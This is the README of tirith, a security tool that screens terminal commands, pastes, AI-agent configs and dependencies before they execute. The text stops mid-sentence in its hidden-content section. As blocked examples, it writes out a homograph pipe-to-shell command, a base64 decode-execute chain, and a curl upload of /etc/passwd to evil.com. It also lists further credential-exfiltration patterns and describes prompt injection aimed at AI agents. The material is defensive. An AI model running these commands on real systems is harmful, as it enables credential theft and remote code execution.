# tirith **Your browser would catch this. Your terminal won't.**

tirith — terminal security

[![CI](https://github.com/sheeki03/tirith/actions/workflows/ci.yml/badge.svg)](https://github.com/sheeki03/tirith/actions/workflows/ci.yml) [![GitHub Stars](https://img.shields.io/github/stars/sheeki03/tirith?style=flat&logo=github)](https://github.com/sheeki03/tirith/stargazers) [![License: AGPL-3.0](https://img.shields.io/badge/license-AGPL--3.0-blue)](LICENSE-AGPL) [Website](https://tirith.sh) | [Docs](https://tirith.sh/docs) | [SKILL.md](SKILL.md) | [Changelog](https://github.com/sheeki03/tirith/releases) Vercel OSS Program --- Can you spot the difference? ``` curl -sSL https://install.example-cli.dev | bash # safe curl -sSL https://іnstall.example-clі.dev | bash # compromised ``` You can't. Neither can your terminal. Both `і` characters are Cyrillic (U+0456), not Latin `i`. The second URL resolves to an attacker's server. The script executes before you notice. Browsers solved this years ago. Terminals still render Unicode, ANSI escapes, and invisible characters without question. AI agents run shell commands and install packages without inspecting what's inside. **Tirith stands at the gate.** It intercepts commands, pasted content, and scanned files for homograph URLs, obfuscated payloads, credential exfiltration, malicious AI skills/configs, and known-bad packages/domains/IPs from a signed threat intelligence database before they execute. ```bash brew install sheeki03/tap/tirith brew trust --formula sheeki03/tap/tirith # Homebrew 5.1.15+ tap trust ``` Then activate in your shell profile: ```bash # zsh eval "$(tirith init --shell zsh)" # bash eval "$(tirith init --shell bash)" # fish tirith init --shell fish | source ``` > [!TIP] > `eval "$(tirith init)"` auto-detects your current shell (it inspects the parent process and falls back to `$SHELL` if needed). The explicit `--shell` flag is only required when you want to override the detection. That's it. Every command you run is now guarded. Zero friction on clean input. Sub-millisecond overhead. You forget it's there until it saves you. Also available via [npm](#cross-platform), [cargo](#cross-platform), [mise](#cross-platform), [apt/dnf](#linux-packages), and [more](#install). --- ## See it work **Homograph attack — blocked before execution:** ``` $ curl -sSL https://іnstall.example-clі.dev | bash tirith: BLOCKED [CRITICAL] non_ascii_hostname — Cyrillic і (U+0456) in hostname This is a homograph attack. The URL visually mimics a legitimate domain but resolves to a completely different server. Bypass: prefix your command with TIRITH=0 (applies to that command only) ``` The command never executes. **Pipe-to-shell with clean URL — warned, not blocked:** ``` $ curl -fsSL https://get.docker.com | sh tirith: WARNING [MEDIUM] pipe_to_interpreter — Download piped to interpreter Consider downloading first and reviewing. ``` Warning prints to stderr. Command still runs. **Base64 decode-execute chain — blocked:** ``` $ echo payload | base64 -d | bash tirith: BLOCKED [HIGH] base64_decode_execute — Base64 decode piped to interpreter [HIGH] pipe_to_interpreter — Pipe to interpreter: base64 | bash ``` Catches decode chains through sudo/env wrappers and PowerShell `-EncodedCommand` too. **Credential exfiltration — blocked:** ``` $ curl -d @/etc/passwd https://evil.com/collect tirith: BLOCKED [HIGH] data_exfiltration — Data exfiltration via curl upload curl command uploads sensitive data to a remote server ``` Covers all curl/wget upload flags, env vars (`$AWS_SECRET_ACCESS_KEY`), and command substitution. **Malicious skill file — caught on scan:** ``` $ tirith scan evil_skill.py tirith scan: evil_skill.py — 3 finding(s) [MEDIUM] dynamic_code_execution — exec() near b64decode() in close proximity [MEDIUM] obfuscated_payload — Long base64 string decoded and executed [MEDIUM] suspicious_code_exfiltration — HTTP call passes sensitive data as argument ``` Scans JS/Python files for obfuscated payloads, dynamic code execution, and secret exfiltration patterns. **Normal commands — invisible:** ``` $ git status $ ls -la $ docker compose up -d ``` Nothing. Zero output. You forget tirith is running. --- ## What it catches **221 detection rules across 34 categories.** | Category | What it stops | |----------|--------------| | **Homograph attacks** | Cyrillic/Greek lookalikes in hostnames, punycode domains, mixed-script labels, lookalike TLDs, confusable domains, text-level confusable detection (math alphanumerics, same-word mixed-script) | | **Terminal injection** | ANSI escape sequences, bidi overrides, zero-width characters, unicode tags, invisible math operators, variation selectors, Hangul fillers | | **Steganography defense** | Invisible whitespace encoding (12 Unicode space variants), Mongolian Vowel Separator, Hangul Filler characters, math alphanumeric substitution — defenses against st3gg-style text steganography | | **Pipe-to-shell** | `curl \| bash`, `wget \| sh`, `httpie \| sh`, `xh \| sh`, `python <(curl ...)`, `eval $(wget ...)` — every source-to-sink pattern | | **Base64 decode-execute** | `base64 -d \| bash`, `python -c "exec(b64decode(...))"`, `powershell -EncodedCommand` — decode chains through sudo/env wrappers | | **Data exfiltration** | `curl -d @/etc/passwd`, `curl -T ~/.ssh/id_rsa`, `wget --post-file`, env var uploads (`$AWS_SECRET_ACCESS_KEY`), command substitution exfil | | **Code file scanning** | Obfuscated payloads (`eval(atob(...))`), dynamic code execution (`exec(b64decode(...))`), secret exfiltration via `fetch`/`requests.post` in JS/Python files | | **Credential detection** | AWS keys, GitHub PATs, Stripe/Slack/SendGrid/Anthropic/GCP/npm tokens, private key blocks, plus entropy-based generic secret detection | | **Post-compromise behavior** | Process memory scraping (`/proc/*/mem`), Docker remote privilege escalation, credential file sweeps — calibrated against TeamPCP and UNC1069 post-compromise tooling | | **Command safety** | Dotfile overwrites, archive extraction to sensitive paths, cloud metadata endpoint access, private network access | | **Insecure transport** | Plain HTTP piped to shell, `curl -k`, disabled TLS verification, shortened URLs hiding destinations | | **Environment** | Proxy hijacking, sensitive env exports, code injection via env, interpreter hijack, shell injection env | | **Config file security** | Config injection, suspicious indicators, non-ASCII/invisible unicode in configs, MCP server security (insecure/untrusted/duplicate/permissive) | | **Ecosystem threats** | Git clone typosquats, untrusted Docker registries, pip/npm URL installs, web3 RPC endpoints, vet-not-configured | | **Install-command safety** | APT repos added from a piped download, `[trusted=yes]` / `--allow-unauthenticated` / `--nogpgcheck` / pacman `SigLevel = Never` (disabled signature checks), `kubectl apply -f` against raw/shortened remote manifests, Helm charts from untrusted repos, Terraform modules from untrusted remote sources, `brew install`/`tap` from arbitrary URLs | | **Path analysis** | Non-ASCII paths, homoglyphs in paths, double-encoding | | **Rendered content** | Hidden CSS/color content, hidden HTML attributes, comment content analysis (prompt injection at High, destructive commands at Medium) | | **Cloaking detection** | Server-side cloaking (bot vs browser), clipboard hidden content, PDF hidden text | | **Windows / PowerShell** | `Set-ExecutionPolicy Bypass` / `-ep`, Windows Defender exclusions (`Add-MpPreference -Exclusion*`), inline `iex (iwr ...)` download-execute | | **Terminal output defense** | OSC 52 clipboard writes, fake prompts, OSC 8 hyperlink and title / clear-screen manipulation, prompt injection inside command or MCP tool output (scanned both raw and deobfuscated, so invisible-character, confusable, spaced-out, leetspeak, and short base64 / hex evasions are caught too), and output data exfiltration (beacon URLs or "read a secret then send it" directives) | | **Operational context** | Destructive commands against labeled-prod cloud / k8s contexts and SSH hosts, Terraform / Pulumi / OpenTofu `apply` without a matching saved plan, risky sudo escalation, privileged `docker run` | | **Workstation & persistence** | Loose-permission credential files and plaintext tokens (`~/.ssh`, `~/.aws`, `.npmrc`), persistence footholds (shell rc, `authorized_keys`, crontab, LaunchAgents, git `core.hooksPath`), PATH-hijack ordering, executable provenance, risky aliases, and sensitive env-var lifecycle | | **Blast radius & correlation** | Deletes that escape the repo, mass deletions, executing files downloaded from risky sources, and session chains such as secret-write then network or delete then `git push --force` | | **Trust, attestation & provenance** | Signed command-card mismatch, canary honeytoken touches, paste source-host mismatch, caller-origin (agent) policy denials, MCP lockfile drift, and AI-config drift versus a known-safe snapshot | --- ## What tirith does NOT protect against Tirith analyzes the **structure** of commands, pasted text, and files *before* they execute. It is a pre-execution gate, not a runtime defense. By design, it does not cover: - **Runtime sandboxing** — tirith does not sandbox or contain a command once it runs. It decides whether to warn or block; it does not isolate execution. - **Post-execution network monitoring** — tirith does not inspect network traffic after a command runs. What a process does on the network once launched is out of scope. - **Malware / payload detection** — tirith analyzes command and file *structure*, not payload behavior. It is not an antivirus and does not detonate or signature-match payloads. (`tirith run` analyzes a downloaded script's structure before execution, but it is still not malware analysis.) - **A privileged root/admin attacker** — a user who is already root or admin can bypass tirith trivially. Tirith defends against tricked input, not against an attacker who already owns the machine. - **Anti-debugging / anti-tampering** — tirith does not resist analysis or reverse engineering, and does not protect its own binary from a local attacker. See [docs/threat-model.md](docs/threat-model.md) for the full threat model and explicit non-goals. --- ## Known limitations - **Shell-hook fragility** — tirith protection depends on a shell hook staying correctly installed and active. Hooks can break or silently degrade across shells (zsh, bash, fish, PowerShell), shell versions, prompt frameworks, and history tools. Run `tirith doctor` to check live hook state, and watch for warn-only degradation messages. - **Unix-only features** — daemon mode and `tirith setup` are Unix-only today. `tirith run` and `tirith fetch` are likewise Unix-only. - **Package-name extraction scope** — package-name matching against the threat database covers language ecosystems (pip, npm/yarn/pnpm/bun, cargo, gem, go, composer, dotnet, mvn/gradle). It does **not** cover distro-level package managers (`apt`, `dnf`, `yum`, `pacman`). - **AI-agent integration caveats** — shell-hook interception only guards commands that actually go through a hooked interactive shell; an agent that spawns a non-interactive shell, calls `exec` directly, or runs in an environment where the hook is not loaded is not covered. MCP-based protection requires the agent to actually call the tirith MCP tools — it is advisory, not enforced. --- ## Threat intelligence Tirith ships a signed local threat database for package, hostname, and IP reputation. When a shell hook or `tirith check` sees a package install or suspicious infrastructure reference, it matches that input against the database before the command executes, instead of relying only on static heuristics. **Signed DB** (built daily by CI, verified on download and load): - Known-malicious packages from [OpenSSF Malicious Packages](https://github.com/ossf/malicious-packages) and [Datadog Security Labs](https://github.com/DataDog/malicious-software-packages-dataset) - Malicious IP infrastructure from [Feodo Tracker](https://feodotracker.abuse.ch/) (abuse.ch) - Confirmed typosquats and popular-package baselines from [ecosyste.ms](https://ecosyste.ms/) - [CISA Known Exploited Vulnerabilities](https://www.cisa.gov/known-exploited-vulnerabilities-catalog) catalog for runtime advisory correlation **Optional supplemental feeds** (user-local overlay): - [URLhaus](https://urlhaus.abuse.ch/) and [ThreatFox](https://threatfox.abuse.ch/) via an abuse.ch auth key - [PhishTank](https://phishtank.org/) (Cisco Talos) and [Phishing Army](https://phishing.army/) blocklists - Tor exit node list from [Tor Project](https://www.torproject.org/) **Optional live enrichment** during `tirith check` and daemon mode: - [OSV.dev](https://osv.dev/) advisory lookups (Google OSS) - [deps.dev](https://deps.dev/) package health signals (Google OSS) and [ecosyste.ms](https://ecosyste.ms/) maintainer data - [Google Safe Browsing](https://safebrowsing.google.com/) URL reputation with your own API key ```bash tirith threat-db update # download + verify the signed DB tirith threat-db status # age, signature, version, entry counts tirith threat-db health # install, signature, staleness, counts tirith threat-db sources # list every feed the DB is built from tirith threat-db explain react # what the DB knows about an indicator tirith threat-db diff --since 2026-01-01 # count changes since a version/date ``` By default, shell hooks and `tirith check` trigger a cheap background refresh check every 24 hours. Daemon mode keeps the same enrichment path warm in the background. `threat-db explain` accepts a domain, a package name (`name`, `ecosystem:name`, or `name@version`), or an IPv4 address; `threat-db sources` groups feeds into the signed primary database and the optional user-local supplemental overlay. The threat-DB binary retains no per-entry history, so `threat-db diff` reports category and per-source count deltas between snapshots rather than the exact entries added or removed. Every `threat-db` command takes `--format json`; `threatdb` works as an alias for `threat-db`. ### Package risk scoring `tirith package risk ` scores a package's supply-chain / maintainer risk the way `tirith score` scores a URL — a **deterministic, fully explainable sum of named factors**, no model and no learned weights. `tirith package explain ` adds the factor-by-factor derivation; both take `--format json`. ```bash tirith package risk npm react # 0/100 — a known-popular package tirith package risk npm reqeusts # high — one edit from a popular name tirith package explain pypi flask # factor-by-factor derivation tirith package risk npm left-pad --path ./node_modules/left-pad tirith package risk --online npm react # also consult the registry API ``` **Offline by default.** With no flags, every signal is computed locally with **no network call**: (1) **name vs. popular packages** — whether the name is a known-popular package, an unknown name, or a one-edit near-miss of a popular one (the classic typosquat/slopsquat shape), from the local threat database's `popular` set; (2) **known malicious typosquat** — whether the threat DB's `typosquat` index lists the exact name; (3) **install / lifecycle scripts** and (4) **bundled binary blobs** — detected *only* when the package content is locally available (auto-discovered under `node_modules` / `site-packages`, or an explicit `--path`) — tirith **never downloads** the package. **`--online` adds registry-API provenance signals.** With `--online`, `package risk` additionally consults the package's registry API — the npm registry, the PyPI JSON API, or the crates.io API, selected by ecosystem — for six more factors, each an explicit named term in the *same* deterministic factor-sum model: package / version age, an established package the registry lists with no owners at all, an abnormal version-number spike, very low download counts, a missing source-repository URL, and yanked / deprecated status. `--online` is the **only** path on which `package risk` reaches the network — never the `check` hot path — and `--offline` / `TIRITH_OFFLINE` force offline even with `--online`. A network or registry failure degrades gracefully to the offline score with an honest `api signals: unavailable`, and successful responses are cached on disk with a TTL so repeated runs do not hammer the registries. The score is advisory and standalone: `package risk` is not a detection rule and changes no verdict, exit code, or audit log. ### Ecosystem scan — supply-chain firewall `tirith ecosystem scan [path]` is the directory-level companion to `package risk`. It walks a project, discovers every dependency manifest it understands — npm (`package.json`, `package-lock.json`), Python (`requirements*.txt`, `pyproject.toml`), Rust (`Cargo.toml`), Go (`go.mod`), Ruby (`Gemfile`) — and scores **every declared dependency** with the same deterministic `package_risk` factor engine. ```bash tirith ecosystem scan # scan the current project tirith ecosystem scan ./my-project # scan a specific directory tirith ecosystem scan --online ./my-project # also consult the registry API tirith ecosystem scan --format json ./ # full machine-readable report ``` **It folds in slopsquat detection.** *Slopsquatting* is the registration of a plausible-but-fake package name that LLMs tend to hallucinate when asked to suggest a dependency. `ecosystem scan` flags a dependency as slopsquat-suspicious only when **all three** hold: the name is not a known-real / known-popular package, it is **name-shaped like an AI hallucination** (a language prefix such as `python-` / `node-` plus descriptive tokens, a stack of generic filler words like `helper` / `utils` / `client`, or an unusually long descriptive name), **and** it sits near a real popular name (a one-edit near-miss, or it embeds a popular package name as a word). Requiring all three keeps the false-positive rate low — an honest `data-utils` with no popular anchor does not fire. **Offline by default, opt-in `--online`.** Name and typosquat signals come from the local threat database; `--online` adds the registry-API provenance signals, gated and degraded exactly as `package risk --online` is — never on the `check` hot path. Findings flow through tirith's normal `Verdict` / `Finding` model: they are explainable (`tirith explain --rule threat_suspicious_package`), audit-logged, and respect the policy allowlist (an allowlisted package — by bare name or `ecosystem:name` — is suppressed). Exit codes match `tirith scan`: `1` for a blocking finding (a confirmed-malicious / typosquat dependency), `2` for advisory findings, `0` when clean. This helps catch known-malicious packages, confirmed typosquats, slopsquatted package names, malicious download infrastructure, and packages with live OSV / CISA KEV advisory data. **Attack families tirith is built for** (illustrative, not a caught-by-current-code claim): | Incident | Year | Attack shape | |---|---|---| | [Shai-Hulud npm worm](https://socket.dev/blog/shai-hulud-worm) | 2025 | Self-propagating package malware; exfiltrated GitHub tokens and AWS keys from 180+ packages, published findings to public `Shai-Hulud` repos | | [Slopsquatting](https://socket.dev/blog/slopsquatting-how-ai-hallucinations-are-fueling-a-new-class-of-supply-chain-attacks) | 2023–ongoing | Attackers register LLM-hallucinated package names on npm / PyPI / crates.io; [USENIX 2025](https://www.usenix.org/system/files/conference/usenixsecurity25/sec25cycle1-prepub-742-spracklen.pdf) found 58% of hallucinated names repeat across runs | | Team PCP / UNC1069 tooling | ongoing | Post-compromise credential sweeps, `/proc/*/mem` scraping, Docker privilege escalation | | [colors.js / faker.js sabotage](https://snyk.io/blog/open-source-npm-packages-colors-faker/) | 2022 | Author self-sabotage of widely-used packages | | [event-stream compromise](https://github.com/dominictarr/event-stream/issues/116) | 2018 | Transferred ownership to attacker; payload targeted Bitcoin wallets | Package-name extraction currently covers language ecosystems (pip, npm/yarn/pnpm/bun, cargo, gem, go, composer, dotnet, mvn/gradle), not distro-level package managers (`apt` / `dnf` / `yum` / `pacman`). That's why xz-utils, which entered through Linux distro tarballs, is not in the table despite being a headline incident. --- ## AI agent security Tirith protects AI coding agents at every layer — from the configs they read to the commands they execute. ### Shell hooks — passive command interception When AI agents execute shell commands (Claude Code, Codex, Cursor, etc.), tirith's shell hooks intercept every command before it runs. No agent-side configuration needed — if the hook is active in the shell, all commands are guarded: - **Blocks dangerous commands** — homograph URLs, pipe-to-shell, insecure downloads - **Blocks malicious paste** — ANSI injection, bidi attacks, hidden multiline in pasted content - **Works with every agent** — any tool that spawns a shell inherits tirith protection - **Zero agent modification** — the agent doesn't know tirith exists until a command is blocked Use `tirith setup ` for one-command configuration (see [AI Agent Integrations](#ai-agent-integrations)). ### MCP server (7 tools) Run `tirith mcp-server` or use `tirith setup --with-mcp` to register tirith as an MCP server. AI agents can call these tools before taking action: | Tool | What it does | |------|-------------| | `tirith_check_command` | Analyze shell commands for pipe-to-shell, homograph URLs, env injection | | `tirith_check_url` | Score URLs for homograph attacks, punycode tricks, shortened URLs, raw IPs | | `tirith_check_paste` | Check pasted content for ANSI escapes, bidi controls, zero-width chars | | `tirith_scan_file` | Scan a file for hidden content, invisible Unicode, config poisoning | | `tirith_scan_directory` | Recursive scan with AI config file prioritization | | `tirith_verify_mcp_config` | Validate MCP configs for insecure servers, shell injection in args, wildcard tools | | `tirith_fetch_cloaking` | Detect server-side cloaking (different content for bots vs browsers) | ### MCP server governance `tirith mcp lock` captures every MCP server a repository declares — across `.mcp.json` / `mcp.json` / `mcp_settings.json` and the IDE config variants (`.vscode/`, `.cursor/`, `.windsurf/`, `.cline/`, `.amazonq/`, `.continue/`, `.kiro/`) — into a deterministic lockfile at `.tirith/mcp.lock`. Each server is recorded with its transport (a remote URL, or a local command + args), declared tools, and a content hash; servers are sorted by name so the lockfile is diff-friendly. Discovery is repo-local only and touches no network. (`tirith mcp` is a separate command group from `tirith mcp-server`, which runs tirith *as* an MCP server.) `tirith mcp verify` is the gating companion: it loads the committed lockfile, rebuilds the current inventory, and exits 1 when the two differ (0 when they match, 2 on a usage error such as a missing lockfile). `tirith mcp diff` shows the same drift informationally — it exits 0 whether or not drift is present (drift is reported, not enforced), but a usage error (missing lockfile, unreadable lockfile, unresolvable repo root) still exits 2 so a piped consumer can distinguish "no drift" from "I could not check". Drift is also surfaced through `tirith scan` as the `mcp_server_drift` rule (Severity Medium), so a pre-commit hook or CI integration catches an MCP-surface change the same way it catches an un-pinned action. Env values and URL userinfos are never printed by `verify` / `diff` — only the names of the variables / credentials that changed. Two policy fields govern which servers and tools are accepted: `scan.trusted_mcp_servers` lists server names whose per-server MCP config findings are suppressed and whose drift is silenced, and `scan.mcp_allowed_tools` declares, per server, the exact tools the server may expose — a tool that lands in the lockfile outside that set surfaces a High-severity `mcp_server_drift` finding, and drift that adds a tool outside the set upgrades from Medium to High. `tirith mcp policy init` scaffolds a starter version of both blocks from the current lockfile into `.tirith/mcp-policy.yaml.example`, with every entry commented out so importing the example never silently widens trust. ### Config file scanning `tirith scan` detects prompt injection and hidden payloads in AI config files. It prioritizes and scans 50+ known AI config file patterns: - `.cursorrules`, `.windsurfrules`, `.clinerules`, `CLAUDE.md`, `copilot-instructions.md` - `.claude/` settings, agents, skills, plugins, rules - `.cursor/`, `.vscode/`, `.windsurf/`, `.cline/`, `.continue/`, `.roo/`, `.codex/` configs - `mcp.json`, `.mcp.json`, `mcp_settings.json` - `.github/copilot-instructions.md`, `.github/agents/*.md` **What it catches in configs:** - **Prompt injection** (skill activation triggers, permission bypass attempts, safety dismissal, identity reassignment, cross-tool override instructions). Each file is scanned both raw and deobfuscated (invisible characters, confusables, inter-character spacing, leetspeak, short base64 / hex), so a seed hidden behind encoding still fires - **Invisible Unicode** — zero-width characters (including Mongolian Vowel Separator), bidi controls, soft hyphens, Unicode tags, Hangul fillers, invisible whitespace encoding, math alphanumeric confusables - **MCP config issues** — insecure HTTP connections, raw IP servers, shell metacharacters in args, duplicate server names, wildcard tool access ### CI / repo supply-chain scanning `tirith scan` also inspects the files a repository checks in to describe its own build and deploy pipeline. It detects the dangerous *pattern*, not the tool — a SHA-pinned action, a digest-pinned image, a local Terraform module, and a normal `package.json` stay clean. **What it catches in CI / infrastructure files:** - **GitHub Actions workflows** (`.github/workflows/*.yml`) — an action `uses:` reference pinned to a mutable ref (`@v3`, `@main`) instead of a commit SHA; the `pull_request_target` trigger; a `curl … | bash` pipe-to-shell in a `run:` step; an attacker-controllable `${{ github.event.* }}` value interpolated into a `run:` shell step (script injection) - **Dockerfiles** — a `FROM` base image on the mutable `latest` tag (or no tag) with no `@sha256:` digest pin - **Terraform** (`*.tf`) — a `module` block sourced from a remote / untrusted location rather than a local path or the Terraform Registry - **Helm charts** (`Chart.yaml`) — a chart dependency from an untrusted chart repository - **`package.json`** — a `preinstall` / `install` / `postinstall` lifecycle script that runs a dangerous command (pipe-to-shell, obfuscated payload, download-and-run); these hooks run automatically on `npm install` Three built-in `--profile` values tune the scan: `ci-hardening` (every check at full strength, fail-on `high`), `ai-agent-repo` (keeps injection findings, drops low-value pinning-hygiene noise), and `oss-maintainer` (emphasises contributor-controllable risk when reviewing a change). ```bash tirith scan ./ # scan the repo tirith scan --profile ci-hardening ./ # tune for CI/CD hardening tirith scan --format sarif ./ > out.sarif ``` ### Hidden content detection Detects content invisible to humans but readable by AI in HTML, Markdown, and PDF: - **CSS hiding** — `display:none`, `visibility:hidden`, `opacity:0`, `font-size:0`, off-screen positioning - **Color hiding** — white-on-white text, similar foreground/background (contrast ratio < 1.5:1) - **HTML/Markdown comments** — prompt injection phrases (High), destructive commands like `rm -rf` or `curl|bash` (Medium), long comments hiding instructions (Low) - **PDF hidden text** — sub-pixel rendered text (font-size < 1px) invisible to readers but parseable by LLMs ### AI-relevant file hidden-content scanning `tirith scan` also inspects file types an AI coding agent (or a renderer) reads and acts on, looking for content **smuggled past a human reviewer**. A normal notebook, an ordinary `CLAUDE.md` with visible instructions, and a plain SVG image stay clean — only hidden / smuggled content fires. - **Jupyter notebooks** (`*.ipynb`) — invisible / bidi / zero-width characters in cell source, a base64-encoded blob embedded in source, a cell hidden from the rendered view (`metadata.jupyter.source_hidden` / a `hide_input` tag), and cell *outputs* carrying invisible characters or active / hidden HTML - **AI agent-instruction files** (`CLAUDE.md`, `AGENTS.md`, `.cursorrules`, and similar) — *hidden* directives only: an instruction inside an HTML comment (invisible in rendered Markdown) or a visually-hidden HTML element. These files legitimately contain visible instructions, so ordinary visible instructions never fire - **SVG images** (`*.svg`) — an embedded `